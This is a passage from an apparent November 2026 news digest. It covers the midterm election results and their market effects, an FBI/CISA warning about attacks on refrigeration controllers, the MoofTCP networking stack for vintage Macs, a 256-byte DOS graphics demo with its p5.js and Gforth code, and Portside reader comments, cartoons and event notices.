The market reaction has been furious, especially since both companies are headquartered in Texas , a state Musk has made the center of his operations. The entrepreneur moved his residence there in 2020 and relocated Tesla's headquarters the following year, after his clashes with California authorities during the pandemic. He also established his large Tesla car factory near Austin, his largest production facility in the United States.

“Texas becoming a Democratic state creates a new political challenge for Musk, especially considering how much money he has invested in making it the center of his business empire,” notes Ivan Feinseth, chief investment officer at Tigress Financial Partners.

The Democratic victory in Texas also has a symbolic dimension for the entrepreneur. The new governor, Gina Hinojosa , advocated during the campaign for greater control over data centers, essential infrastructure for the development of AI-related projects. The outcome of the Senate elections in the state has also been interpreted by some analysts as a sign of rejection of Musk's growing political influence.

The billionaire has strengthened his political involvement with Donald Trump and the Republican Party in recent years, having donated nearly $450 million to Republican candidates , of which some $205 million went to campaigns in Texas. According to various estimates, he has donated more money in these months than investor George Soros spent on the Democratic Party throughout his lifetime. Furthermore, Musk used his social network X (formerly Twitter) to openly urge people to vote against the Democrats during the election campaign.

After the results were announced, Musk reacted ironically on the same platform. “Guess my space lasers for interfering with the election didn’t work this time,” he wrote. In another message, he stated that “ data centers in space are starting to look pretty appealing.”

The new political landscape could have implications for some of their companies' strategic projects, such as the potential merger between Tesla and SpaceX . Several analysts believe that Democratic control of Congress could increase political and regulatory scrutiny of this deal.

Despite the decline in the value of Musk's companies, other electric vehicle manufacturers reacted in the opposite way. Rivian and Lucid saw their stock prices rise amid expectations that a Democratic majority will push for measures favorable to the energy transition.

One of the most common interpretations among fund investors is that Elon Musk has capitalized on the wave of deregulation championed by Donald Trump in recent years. In the early stages of Trump's presidency, the entrepreneur even served as an external advisor to the administration, heading the Department of Government Efficiency (DOGE), to try to cut public spending, much like Javier Milei's chainsaw campaign in Argentina. Ultimately, a disagreement between the president and Musk led to his temporary departure from the White House.

Beyond the midterm election results , doubts persist about the viability and timeline of several projects that underpin the high valuations of Musk's companies. The potential merger between Tesla and SpaceX remains in a preliminary stage, while initiatives such as robotaxis , humanoid robots, and Mars colonization plans continue to fall short of generating significant revenue.

That Was Some Night

Portside
portside.org
2026-11-05 21:29:29
That Was Some Night jay Thu, 11/05/2026 - 21:29 ...
Original Article

Well, that was some night. My initial morning after take is that we can thank several people for this victory. First of all, there are the scores of millions of voters that have rejected Trump-MAGA and all its works. The coalition that won last night is the broadest left-center coalition in nearly twenty years, since Obama's victory. Nationally, it wasn't even close. And this time, the left has truly come out of the closet, with democratic socialists establishing themselves as a legitimate part of the U.S. political scene. In Southeast Michigan, two members of the Democratic Socialists of America, Rashida Tlaib and Donovan McKinney, will both take their places as members of the 120th Congress.

It might even be broader than Obama's coalition. Who would have thought we'd be spending the morning after watching a razor-thin race for the U.S. Senate in Mississippi, of all places, with Scott Colum, the Democrat, being on the verge of becoming the first Black Senator from that state since Reconstruction? (As I write this, Colum leads by a mere 65 votes.) Or that a Black woman and former union organizer, Angie Nixon, would come within 2.9% (238,761 votes) of winning a Florida Senate seat? Or that Georgians would not only reelect Jon Osoff, but make Keisha Lance Bottoms the first Black governor, and first Black woman governor, of Georgia?

To call last night a stunner would be to resort to a cliché, but the defeat of Islamophobia and the election of Abdul El-Sayed to the U.S. Senate with a 52.5%-45.5% victory leaves us with few other words to describe what we've just done. (Jacob Kornbluh, writing in the Forward, cites a Mercury Public Affairs survey of Michigan Jewish voters that voted before Election Day. That survey found that El-Sayed won 60% of the early Jewish vote.)  Oh, and in case you missed it in all the hoopla, Rep. Ilhan Omar (D MN-5) won reelection with 76.5% of the vote. That's a slightly bigger margin than the 75.2% she won two years ago.

This is also, make no mistake, a victory for the Democratic leaders of the House and the Senate. I think Zohran Mamdani's victory last year had a chastening effect on Hakeem Jeffries, who essentially nationalized Mamdani's "affordability" agenda campaign, which became a core policy element of the Democrats' House victory. And Chuck Schumer can also be credited, even though he mostly just seemed to stay out of the candidates' way. But this included not allowing Islamophobia and differences over Israel-Palestine to become distractions and obstacles to success. This was a hard won lesson from two years ago. Whether he wants to become Senate Majority Leader or retire with his victory in hand is probably a decision that is his alone to make. I know we're still hearing voices that want to throw mud at success with a campaign to thwart the ascension of Jeffries to the post of Speaker of the House, which would make him the first Black person to hold that position. Such opposition is of the kind of fake "progressivism" that is not at all progressive. It not only radically misreads the moment, but fails utterly to see that it was Black people that were a cornerstone of the Democratic victory.

Black women were among the standout victors in this race, and they are part of the women-driven aspect of this victory. It's not just Bottoms, but the 61% of Illinois voters that sent Juliana Stratton to the United States Senate yesterday. She joins Tammy Duckworth to make the first all-female U.S. Senate delegation from Illinois. As for Bottoms and Osoff, we can thank Stacey Abrams, that brilliant organizer and novelist, for all her work over the years in spearheading the recreation of the Georgia electorate into a progressive one. This was surely a demonstration of the enormous political power, in the 21st century, of Black women, who are part of a much larger women-driven progressive politics that we'll be seeing more of in the coming years. We can start by noting that Amy Acton crushed the dedicated misogynist Vivek Ramaswamy to become the first female governor of Ohio.

And the hits keep coming. William Lawrence, the founder of the Sunrise Movement, unseated a Republican incumbent in the 7th CD of Michigan. Democrats won a trifecta in Michigan, with majorities in both houses of the legislature, as well as the governor's seat, which Jocelyn Benson won by nine points. Gina Hinojosa's seven point victory over Greg Abbot in the Texas governor's race is not only historic for resulting in the first Latina governor of that state, but Governor-elect Hinojosa has a majority Democratic state legislature to work with, to boot. What I'm interested in learning over the next few days is about the Democrats that unseated House and Senate Republican incumbents yesterday. Learning this will give us an interesting window into how to proceed in the next election, the campaign for which is now a few hours old.

Sherri L. Barnes , my wife, has for years been asking, "where is the Christian left"? The answer came yesterday from Texas, whose voters put James Talarico in one of that state's U.S. Senate seats, thereby dealing Christian nationalism a severe blow. His victory speech was one of the best of the night (but Osoff's was pretty good, too), lighting a path for an ethics that puts the Christian Nationalist "empathy is a sin" doctrine in the shade. It came yesterday from Kansas, where Rev. Adam Hamilton, the pastor of the largest Methodist congregation in the United States, won a convincing victory in that state's U.S. Senate race. They will join Georgia's Senator Raphael Warnock, the pastor of Martin Luther King, Jr.'s Atlanta pulpit in a new, rejuvenated U.S. senate.

We don't yet know the full size of this victory. But it's large enough and convincing enough to effectively end Donald Trump's rampage against the Constitution and the American people. (As I write this, Trump is spending the day after his party's stupendous loss chattering and mumbling about his beloved vanity ballroom. It's a true Marie Antoinette moment.) But it's of even bigger significance than that. While nothing's ever sure in politics, with victories for democratic forces in countries ranging from Brazil to Serbia, it does seem like the authoritarian wave, both here and internationally, has been curbed, if not halted.

We can talk about what's next in the coming weeks and months. But right now, to my mind, the appropriate thing to do is to both savor and learn from this victory. There are a lot of lessons to be learned as this new coalition (and it is a new progressive coalition) prepares to take power over the legislature and the purse of the nation, as well as reshaping state politics from coast to coast.

Investors wipe $2.5T off Nasdaq as blue tsunami prompts AI fears

Hacker News
www.reuters.com
2026-11-05 20:11:40
Comments...
Original Article

Please enable JS and disable any ad blocker

FBI, CISA warn of cyberattacks targeting refrigeration systems

Bleeping Computer
www.bleepingcomputer.com
2026-11-05 19:56:44
The FBI and CISA warn that hackers are actively targeting industrial refrigeration and cold-chain monitoring systems worldwide, potentially causing food spoilage, equipment damage, and fire hazards. [...]...
Original Article

Hot refrigeration

The FBI and CISA warn that hackers are actively targeting industrial refrigeration and cold-chain monitoring systems worldwide, potentially causing food spoilage, equipment damage, and fire hazards.

The warning was issued jointly with the U.S. Departments of Health and Human Services (HHS), Agriculture (USDA), and Transportation (DOT), urging critical infrastructure operators to secure vulnerable refrigeration controllers used in healthcare, food production, chemical facilities, and transportation.

"Every organization that depends on refrigeration and monitoring systems should assume it could be a target," said Chris Butera, CISA's Acting Executive Assistant Director for Cybersecurity.

image

According to a joint advisory published Thursday, attackers are exploiting weaknesses in unpatched or internet-accessible electronic temperature controllers and commercial refrigeration management systems.

These devices allow operators to monitor temperatures remotely, manage defrost cycles, and control cooling equipment.

"Globally, malicious cyber actors are targeting vulnerabilities and weaknesses in unpatched or internet-accessible electronic temperature controllers and commercial refrigeration controllers in retail grocery and cold storage facilities," CISA warned .

The agencies say attackers may exploit authentication bypass vulnerabilities, arbitrary code injection flaws, or weak configurations to modify temperature settings and force refrigeration equipment into continuous heating or defrost cycles.

Successful attacks can cause inventory losses, reduce equipment lifespan, create fire hazards, and create unsafe storage conditions. Attackers may also reduce visibility into current temperatures, preventing operators from detecting problems.

The warning follows a series of attacks against European refrigeration systems that have disrupted supermarkets and blood storage facilities.

In October, hackers compromised refrigeration controllers at an estimated 250 to 350 French supermarkets, remotely activating defrost functions and raising temperatures in refrigerators and freezers.

A second wave of attacks reported in November affected more than 115 stores across six European countries, with some refrigeration systems shutting down entirely and others raising temperatures to as high as 50°C (122°F).

On November 3, the French Blood Establishment (EFS) confirmed that a cybersecurity incident affecting a refrigeration equipment provider had altered temperature and defrost settings at three facilities used to store blood products.

In response to the ongoing threat, the U.S. agencies are urging organizations to remove refrigeration controllers from the public internet, secure necessary remote access, change default passwords, and apply available security updates.

They also recommend isolating operational technology systems from business networks and enforcing safe temperature limits to prevent controllers from operating outside acceptable ranges.

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

MoofTCP – A modern replacement for MacTCP on 68k Macs

Hacker News
github.com
2026-11-05 19:54:15
Comments...
Original Article

A modern, memory-lean replacement for MacTCP on 68k Macs running System 6.

License: MIT Platform: System 6 / 68000 Version 1.0

MoofTCP is a drop-in replacement for Apple's MacTCP. Programs written for MacTCP run on it unchanged, but underneath it is a fresh TCP/IP stack written from scratch in portable C, with its own control panel, installer and DHCP client. It was built for a Mac Classic with 4 MB of RAM, so every byte counts.

The MoofTCP control panel

Why?

MacTCP is wonderful, but it is old, and on a 4 MB Mac Classic with a SCSI Wi-Fi/Ethernet adapter like BlueSCSI it can be slow to answer, hungry for memory, and awkward to set up. MoofTCP aims, in this order, for:

  1. Reliability. No hangs, no leaks, no surprises when apps quit.
  2. Low latency for interactive use, like typing in a telnet session.
  3. Throughput , for handling quasi-modern use cases.

...all while using no more resident memory than MacTCP does .

Features

  • Drop-in compatible. Implements the MacTCP .IPP driver interface (TCP, UDP, ICMP echo) and the dnrp name resolver. Your existing MacTCP programs just work.
  • DHCP or a fixed address. Pick either in the control panel. Don't need to manage static IP anymore.
  • MoofTCP Lite. A build without DHCP that saves about 5 KB of system memory, for tight machines. One installer holds both; a checkbox picks which one.
  • A friendly installer. It moves MacTCP's files aside, installs MoofTCP, and its Remove button puts everything back exactly as it was. An interrupted install repairs itself.
  • MultiFinder-aware. Quitting an app that had connections open cleans up after it.
  • Built-in diagnostics. An optional in-memory log and a small MoofDiag tool for bug reports.
  • A portable core. The TCP/IP stack in core/ has no malloc and no global state, and is tested on the desktop with sanitizers and fuzzers.

Screenshots

Installer MoofTCP Lite panel
The installer The Lite panel

Quick start

  1. Download MoofTCP-1.0.dsk , MoofTCP-1.0.hqx or MoofTCP-1.0.sit from the Releases page and get it onto your Mac (a BlueSCSI shared folder works well).
  2. Open MoofTCP Installer , leave Lite version (no DHCP) unticked, and click Install .
  3. Restart the Mac.
  4. Open Control Panels, MoofTCP , enter your IP address, mask, router and DNS server (or tick Get the address by DHCP ), and save.
  5. Restart again. You're online.

To go back to MacTCP, run the installer and click Remove . The Read Me file in the release has the details, including how to switch between MoofTCP and MoofTCP Lite.

StuffIt Lite 3.6 is tested as working for expanding the .hqx packages.

What you need

  • A 68k Mac with System 6.0.8 (the version it was tested on). Please report back if it works on other versions!
  • An Ethernet adapter that provides the .ENET0 driver, such as a BlueSCSI v2 WiFi with DaynaPORT . MoofTCP does not include an Ethernet driver.

Compatibility

Tested on a real Mac Classic (System 6.0.8, 4 MB, BlueSCSI v2 WiFi with DaynaPORT) and in the Snow emulator.

Program Result
Flynn (telnet terminal) Works, real Mac and emulator
Wikipedia Reader Works, real Mac and emulator
MacTCP Watcher Works in the emulator
NCSA Telnet Works in the emulator
Fetch (FTP) Works in the emulator
TurboGopher Works in the emulator
Eudora Starts; mail was not tried

Have a program that doesn't work? Please open an issue (see below).

Memory

MoofTCP MoofTCP Lite
Driver code 95,623 bytes 90,722 bytes
Free system heap after first open (real Mac Classic, single Finder, full build) about 30.7 KB n/a

MultiFinder grows the system heap on demand, so free memory varies more there.

Something went wrong?

MoofTCP keeps a small diagnostic log in memory. If a program misbehaves but the Mac keeps running, run MoofDiag right away (it is in the release's diagnostic tools download), and open an issue with the MoofDiag.out file it writes next to itself, plus a note about what you were doing. Feel free to ask your LLM to analyze the codebase and the diagnostic output as well and to submit fix PRs.

Known limitations

  • No IPv6.
  • Tested only with the DaynaPORT Ethernet driver on System 6.0.8.
  • DHCP is basic: no lease RELEASE, no INIT-REBOOT and no address-conflict probe. While it runs, programs cannot use UDP port 68. With no DHCP server, the first open waits about 10 seconds and then fails.

Building from source

You only need Docker. The pinned Retro68 cross-compiler image is pulled automatically.

scripts/build-mac.sh MoofTCP              # the MoofTCP file -> build-mac/moof/
MT_LITE=1 scripts/build-mac.sh MoofTCP    # MoofTCP Lite -> build-mac-lite/
scripts/release.sh --force 1.0            # one installer with both -> dist/MoofTCP-1.0.{dsk,hqx,sit}

release.sh also needs hfsutils, macutils, unar, gcc and Python 3.

Running the tests

The portable core and the glue logic are tested on your desktop with gcc and CMake (AddressSanitizer and UBSan are on by default):

cmake -S . -B build && cmake --build build
ctest --test-dir build --output-on-failure
cmake -S . -B build-lite -DMT_NO_DHCP=ON   # the Lite configuration

The emulator tests (Snow) need Apple system software and the BlueSCSI DaynaPORT image. Those are not in this repository and you must supply them yourself; the scripts in scripts/ ( setup-home.sh , golden-stage.sh ) show what is expected.

Project layout

core/      portable TCP/IP stack (no malloc, no globals), host-tested
mac/       Mac glue: .IPP driver, INIT, resolver, control panel, installer, diagnostic apps
tests/     host tests (ctest), including fuzzers
scripts/   build, release, emulator and hardware-session scripts
tools/     pinned tool versions; tools/sit is a small StuffIt-format writer

Contributing

Bug reports, compatibility reports ("program X does/doesn't work") and pull requests are welcome. For code changes, please read CONTRIBUTING.md and run the host tests first (see above). CLAUDE.md is a detailed map of the code and its rules. Security problems: see SECURITY.md .

Credits

  • Retro68 for the 68k cross-compiler.
  • Snow for the Mac emulator the tests run in.
  • BlueSCSI and DaynaPORT for the network hardware this was built around.
  • Claude Code was used to develop this project, with human planning and testing.

TODO

  • More comprehensive bake-in testing on real hardware as we use it
  • Remake Daynaport similarly (stay tuned for MoofPort )
  • Review the BlueSCSI codebase for opportunities to integrate more tightly for better performance
  • There is potential for further algorithm optimization for added performance on smaller or older systems.

License

MIT . "MacTCP" and "StuffIt" are trademarks of their owners and are used here only to describe compatibility. MoofTCP contains no Apple or third-party code; building it uses Apple's interfaces as shipped in the Retro68 toolchain.

Major Investors Are Skeptical Anthropic IPO Can Achieve $1.5T Valuation

Hacker News
www.wsj.com
2026-11-05 19:31:11
Comments...

X-87 - DOS 256 bytes

Lobsters
www.onirom.fr
2026-11-05 19:16:07
Comments...
Original Article

256 bytes x86 + x87 (386+) / DOS real mode procedural graphics for Outline 2026 , VESA 2 (1994) 640x400 32 bpp showing a stylized landscape drawn with oscillators. No escape support.

This started in early 2024 from p5js sketches i initially made in mid 2021, first sketch was a different idea showing some flow like patterns that i directed towards a ground / sky division later on, i kind of stopped tinkering with it for a year but took it back in early 2025 and directed it into this barren landscape which was mostly found by accident through iterative tweaking of oscillator parameters + transforms. (particularly scale) I liked the moody feel and the accidental “moon”.

One year later i decided to try to fit this into 256 bytes, the code was pretty small but i was unsure about some parts (32 bpp, colors) especially after a semi failed x87 learning experiment. (was still successful as i learned bits of x87 but also a lot of things about high colors / high resolution DOS graphics, all documented here )

Took ~13 minutes (!) to render with default (3000; 286 era) DOSBox cycles. ~2m30 at 20000 cycles (late 486 era) and 2m10 at max cycles. (running on a i7 7700 CPU)

The 256 bytes effort in two weeks

First step was porting the p5.js code to something akin to x87 (stack based) and as i fiddled with Forth ... it felt like the perfect opportunity to tinker a bit more with Gforth , resulting code was pretty small which further convinced me that shrinking it down to 256 bytes was possible.

Second step was a crude (greyscale) DOS port (~320 bytes), learned a bit of x87 in the process, it was kinda fun to see how Forth map so well to x87 but also how it differ on some stuff (x87 is way more flexible sometimes), Forth made the x87 port straightforward and fun.

Third step was an early optimization phase (FPU code, constants) to free rooms for the colors, the landscape was kind of dull at that moment.

Final step was to integrate the dither like colorization (colors increment depends on averaged pixels brightness) then try to make it less dull by tweaking constants, this last part added some more weight which required further optimizations : overlapped / truncated floating points (got the idea from balrog ), packed colors increments, less FPU instructions etc.

The last bytes + compat

Program was considered finished at this point but there was many compat issues left (no fninit , uninitialized mem etc.) and tiny black squares artifacts (almost imperceptible on DOSBox but very large on Bochs !) which was related to the tricky segment initialization and VESA paging / banking, last goal was to fix them.

It was rather simple to get few bytes to fix the artifacts by reusing palette data for a float constant (overlapping) and further optimizing the init code and px_sat loop code by reusing bx state for the loop.

Making a compatible version (one that run on Bochs + Freedos at least, didn't test on real HW) at 256 bytes was slightly harder and took me a few days, biggest win was to pack the two main loops into a single one and using the upper / lower half of ECX as a frame counter / osc. index, FPU code was again optimized. (trying hard to avoid fcomi instruction to stay at 386 era)

Conclusion

Satisfied of the final result overall as it is quite close to the prototype, not entirely convinced that 32 bpp is justified... could perhaps be done in 256 colors. (in a smaller way ?)

The image can be scaled to any resolutions (require a constant + bank check constant change) but convergence happen faster at moderate resolution + artifacts are less visible. (see below; has artifacts when vertical axis is extended)

Resolution also affect brightness / density although this can be fixed with colors increment / oscillators adjustments.

with more time (note : earlier artifacts version !)

p5js implementation

let x = []
let y = []
let n = 256

let pal = [
[3, 3, 3], [1, 2, 3], [3, 2, 2], [1, 1, 1]
]

function setup() {
createCanvas(800, 480)
background(0)
for (let i = 0; i < 256; i += 1) {
x[i] = i
y[i] = 0
}
}

function draw() {
loadPixels()
for (let k = 0; k < n * 256; k += 1) {
let ki = k & 255
let fr = frameCount
let sx = x[ki] + 1
let t0 = x[ki]
let t1 = y[ki]

x[ki] = t1 * -0.99609375 + (0.009277344 / cos(t0 - cos(fr / 128 + t1 / (1 + t0 / 32))) - 5.141592653)
y[ki] = t0 + 1 + tan(x[ki] * t1 * 32) / fr

sx = (x[ki] + 14) / 32
let sy = 0.36 + 0.85546875 / (y[ki] + 3)

if (sy > 0.36) {
sx *= 4
sy *= 0.981592
} else {
sx -= sy / 2
}

let px = floor(sx * width)
let py = floor(sy * width)
let index = (px + py * width) * 4

let p = (79 + pixels[index + 0] + pixels[index + 1] + pixels[index + 2]) / 192
let c = pal[p & 3]

if (index >= 0 && index < width * height * 4) {
pixels[index + 0] += c[0]
pixels[index + 1] += c[1]
pixels[index + 2] += c[2]
}
}
updatePixels()
}

Gforth implementation (write to a file; 7s render)

640 constant width
400 constant height
3 constant bpp

create x 256 floats allot
create y 256 floats allot
create b width height * bpp * allot
create pal 3 c, 3 c, 3 c,
3 c, 1 c, 2 c,
2 c, 3 c, 2 c,
1 c, 1 c, 1 c,

: setup
255 0 do
i s>f i floats x + f!
0e i floats y + f!
loop ;

: draw
366 1 do \ frames
65535 0 do \ iterations
i 255 and { ib }

ib floats x + f@
j s>f
ib floats y + f@ fdup
-0.995683e f* 0.009429633e 4 fpick 4 fpick 128e f/ 4 fpick 2 fpick 32e f/ 1e f+ f/ f+ fcos f- fcos f/ 5.1594524e f- f+ fdup ib floats x + f!
32e f* f* ftan fswap f/ 1e f+ fswap f+ fdup ib floats y + f!

ib floats x + f@ 14.0e f+ 32e f/ \ sx
fswap 3.141592653e f+ 0.8561283e fswap f/ 0.36063576e f+ fdup \ sy
0.36063576e f> if
0.98328006e f* \ sy
fswap 4e f* \ sx
else
fswap fover 2e f/ f- \ sx
then

width s>f f* f>s \ px
width s>f f* f>s \ py
width * swap + bpp * { index }

index 0 width height * bpp * within if
index b + c@ index 1 + b + c@ index 2 + b + c@ + + 79 + 192 / 3 and \ p
3 * pal + dup dup \ c
1 + c@ index b + c@ + 255 min index b + c!
2 + c@ index 1 + b + c@ + 255 min index 1 + b + c!
c@ index 2 + b + c@ + 255 min index 2 + b + c!
then
loop
loop ;

: write \ write 640x400 RGB8 buffer (raw) to a file
s" landscape.data" w/o create-file throw >r
b width height * bpp * r@ write-file throw
r> close-file throw ;

setup draw write
bye

Iterations

first result of the port without bounds checking (speckles) nor saturation

less dull sky

bounds check

first colors

kind of dull "final" result

toward final result, this was slightly stretched horizontally later due to constants optimization

early 2025 p5js sketch (with optimizations)

p5js initial sketch (800x480)

early p5js sketch


back to top Licence Creative Commons

Tidbits-Nov. 5: Reader Comments: Key Take-Aways From Tuesday’s Election; Cartoons: Blame Game; Long Cleanup Begin; Ass Kicking; Thumb’s Up – Trump Going Down; Finish 2026, Start 2028; How Did Working Families Party Do in New York; Announcements; More

Portside
portside.org
2026-11-05 19:14:56
Tidbits-Nov. 5: Reader Comments: Key Take-Aways From Tuesday’s Election; Cartoons: Blame Game; Long Cleanup Begin; Ass Kicking; Thumb’s Up – Trump Going Down; Finish 2026, Start 2028; How Did Working Families Party Do in New York; Announcements; More jay Thu, 11/05/2026 - 19:14 ...
Original Article

Announcements:

Blame Game  --  Cartoon by Steve Sack


This man has never, ever taken responsibility for anything. He only takes credit, especially when it’s not deserved.

What a sweet comeuppance this was!

Steve Sack
November 5, 2026
The Art of Sack

Re: The Trump Trap – Key Take-Aways From Tuesday’s Election

This is long, but thoughtful.  It draws the correct conclusions.

Al Cholger
Posted on Portside's Facebook page

=====

Moderator's Note:

The Trump Trap – Key Take-Aways From Tuesday’s Election

This has been updated and slightly revised by the author, as of this morning.


We’re Going Forward  --  Cartoon by Mike Luckovich


Mike Luckovich
November 2, 2026
Atlanta Journal-Constitution

The biggest election repudiating Trump & Trumpism and you miss it?

I was astonished that there was no Portside headline about the biggest electoral sweep in decades, let alone the 5 new DSA people heading to Congress and El Sayed's victory.

Did you miss last night? Activists WON BIG yesterday.  Celebrate!

Sue Susman

=====

Moderator's Response:

You are right! But Portside posts go out at night around 8:00pm - and last night that was before most results were in. The next morning the daily Snapshot is an automatic compilation of the previous night's posts. Stay tuned for tonight's Portside posts - I think you will be pleased.

Michiganders, vote @abdulelsayed  --  Cartoon by Jesse Duquette

Hey real quick, fuck @rephaleystevens and the rest of these collaborators and Quislings. Michiganders, vote @abdulelsayed !

Jesse Duquette
November 1, 2026
misterjesseduquette

The Long Cleanup Begins  --  Cartoon by Dennis Goris


Dennis Goris
November 4, 2026
Dennis Goris | Cartoons

Ass Kicking  --  Cartoon by Nick Anderson


Nick Anderson
November 3, 2026
Pen Strokes

How Did the Working Families Party (WFP) Do in New York State?

Working Families Party - WFP vote in New York - 10% of Hochul's state-wide vote. WFP retains ballot status. Moves up to Row C - WFP is now the Third Party of New York. 6%+ of all New York voters voted for WFP candidates (where there was a WFP candidate for that office). 10 members of New York's Congressional delegation are WFP.

"The New York Working Families Party (NYWFP) is proud to send a powerful new bloc of members of Congress to Washington, DC to fight for working people, electing Brad Lander, Claire Valdez and Darializa Avila Chevalier, who join champions like Alexandria Ocasio-Cortez to fight for working people in New York and across the country."

This new class of Congressional members will join the growing caucus of WFP members in Congress from across the country. The full WFP New York delegation includes:

  • Congressmember-Elect Claire Valdez, NY-7
  • Congressmember-Elect Brad Lander, NY-10
  • Congressmember-Elect Darializa Avila Chevalier, NY-13
  • Congressmember Alexandria Ocasio-Cortez, NY-14
  • Congressmember Pat Ryan, NY-18
  • Congressmember Josh Riley, NY-19
  • Congressmember Paul Tonko, NY-20
  • Congressmember John Mannion, NY-22
  • Congressmember Joe Morelle, NY-25
  • Congressmember Tim Kennedy, NY-26

The Working Families Party released the following statement on election night:

"Tonight, New Yorkers sent a clear message: they want a government that works for working people, not billionaires and corporate interests," said Jasmine Gripper, State Director of the New York Working Families Party. "New York’s leadership in Washington has never been bolder. The Working Families Party is proving that another way to fight, win, and govern is possible. Now, we wait to count every vote so every single voter’s voice is heard.”

Across New York, the WFP invested in an expansive electoral program to mobilize hundreds of thousands of voters, strengthen its independent ballot line, flip competitive congressional and state legislative seats, and elect candidates committed to delivering for working families.

The NYWFP’s electoral program is part of a broader national Working Families Party effort to elect a new generation of leaders who challenge MAGA extremism and corporate power. In state after state, Working Families champions are building coalitions around an economic agenda that puts working people first.


The New York Working Families Party is a coalition of community organizations, labor unions and individual members, comprising over 257,000 New Yorkers who have a clear goal in 2026: elect champions for working families, expand the power of these champions in the halls of government to ultimately win real change for working families across the state.

Jay Schaffner,
WFP NY State Committee member, CD-12

Thumb's Up - Trump Going Down  --  Cartoon by Barry Blitt


Barry Blitt
July 30, 2018
The New Yorker



Bill Bramhall
November 3, 2026
New York Daily News

"New Congress, New Opportunities?" Post-Election Roundtable [Zoom] - November 11  (City Works and CUNY School of Labor and Urban Studies)


New Congress, New Opportunities?

Boosting Economic Security, Policing Big Tech, and Ending the Wars

A 2026 Post-Election Media Roundtable sponsored by City Works

Wednesday, November 11

1:00pm - 2:30pm  (E.T. / New York)

Virtual-only via Zoom. Free and open to all.

Closed captions and live transcript available on Zoom livestream.

Click here to register.

Please register to access virtual event info and reminders.

( slucuny.swoogo.com/11November2026/register )


Guest Speakers:

Ariana Baio - Politics Breaking News Reporter, The Guardian

Astead Herndon - Host and Editorial Director, Vox Media

Lisa Lerer - National Political Correspondent, The New York Times

Elizabeth Spiers - Contributing Writer, The Nation

Moderator:

Laura Flanders - Host, Laura Flanders & Friends ;  Host, City Works

Tune in for a live City Works post-election media roundtable to discuss the aftermath of the 2026 midterm elections. The roundtable will be moderated by award-winning journalist Laura Flanders .

Our panel of veteran journalists will discuss their reporting on the election and provide insights on the voting results, overall turnout, demographic and geographic trends that emerged in the electorate, and the impact that labor and social movements had on the election.  They will also discuss the prospects that the newly-elected Congress take meaningful action towards addressing voter concerns such as economic security, A.I., and the wars abroad and at home.

Following the roundtable discussion, we will select questions from the live virtual audience to present to the panel for their comments.

Sponsored by City Works , a project of the Murphy Institute at the CUNY School of Labor & Urban Studies and CUNY TV .


SPEAKER BIOGRAPHIES:

Guest Speakers:

  • Ariana Baio (she/her)

Ariana Baio is a politics breaking news reporter at The Guardian , covering the latest developments in elections, Congress, the Supreme Court and executive branch. She previously covered politics at The Independent. Ariana graduated from Columbia Journalism School in 2021.

Learn more: https://www.theguardian.com/profile/ariana-baio

  • Astead Herndon (he/him)

As a host and editorial director at Vox Media , Astead Herndon helps lead politics coverage across text, video, audio, and social media platforms. Herndon comes to Vox from The New York Times , where he distinguished himself as a sharp, accessible voice on American politics.  Herndon has been named the 2025 Journalist of the Year by the National Association of Black Journalists, and he also won the Distinguished Journalist Award from DePaul University in 2025.

Learn more: https://www.vox.com/authors/astead-herndon

  • Lisa Lerer (she/her)

Lisa Lerer is a national political correspondent for The New York Times .  She covers the intersection of campaigns, elections and political power, and examines the big personalities, ideas and emotions that drive American politics.  She has covered national politics for nearly two decades, including five presidential campaigns, the White House, Congress and countless congressional races.

Learn more: https://www.nytimes.com/by/lisa-lerer

  • Elizabeth Spiers (she/her)

Elizabeth Spiers is a digital media strategist and a contributing writer to The Nation .  She is also a contributor to the opinion section of The New York Times , and a co-host of the Slate Money podcast with Felix Salmon and Emily Peck, which covers finance news of the week.  She was formerly the editor in chief of The New York Observer and editorial director of Observer Media Group, where she oversaw the flagship newspaper and its digital analogs, and a variety of print and digital trade and lifestyle publications.

Learn more: https://www.thenation.com/authors/elizabeth-spiers

Moderator:

  • Laura Flanders (she/her)

Laura Flanders is an award-winning journalist, best-selling author , and the host of Laura Flanders & Friends , a public affairs program airing nationwide on PBS, community radio and released as a weekly podcast.  With a career rooted in independent journalism, Laura has dedicated herself to covering stories of resilience, activism, and innovation. Her work brings underreported voices and transformative ideas to the forefront, encouraging viewers to think critically about today’s pressing issues and possibilities for social change. In recognition of her contributions, Laura has received the Izzy Award, a Cultural Freedom Fellowship from the Lannan Foundation, and the Pat Mitchell Lifetime Achievement Award from the Women’s Media Center.

Learn more: lauraflanders.org


CUNY School of Labor and Urban Studies
25 West 43rd Street
18th Floor
New York, NY 10036

(646) 313-8300

Democracy Against Capital: A Conference in Honour of Ellen Meiksins Wood will be hosted at York University in Toronto, November 27–29

The event will feature plenary lectures by keynote speakers and panel sessions. Organized by PhD students and faculty in the Department of Politics at York, the conference aims to bring together scholars, students, and activists interested in the theoretical and historical debates inherited from Meiksins Wood. We invite proposals for panel presentations engaging with the theoretical, historical, and political debates associated with what has come to be known as Political Marxism, as well as with broader traditions of historical materialism.

While Ellen Meiksins Wood’s work inspires this event, contributions need not focus directly on her writings. We welcome papers that critically develop, extend, or challenge themes central to Political Marxism and related approaches.

The organizational committee of the 2026 Democracy Against Capitalism conference can be reached at: democracyagainstcapital@gmail.com

New Deal Homes for New York City: The Vision & Story of Harlem River Houses - Online event - December 1  (The Living New Deal)


New Deal Homes for New York City: The Vision & Story of Harlem River Houses

With Dr. Kimberley Johnson and Jeff Gold
Tuesday, December 1, 2026, 5pm-6pm PST

Join Dr. Kimberley Johnson for a discussion of Harlem River Houses, one of New York City’s and the nation’s first public housing projects

In 1935-1937, the New York City Housing Authority (NYCHA), the first public housing authority in the United States, began building the nation's first public housing projects with funding from the Public Works Administration (PWA). Harlem River Houses, created in 1937, was the first project created by NYCHA to offer a new vision of public housing for working-class Black New Yorkers.

Join Dr. Kimberley Johnson for a tour and a discussion of how the federal government and New York City partnered to create and operate Harlem River Houses, the architects and residents who shaped its history, and the promises and limits of housing reform as it operated in segregated Harlem.


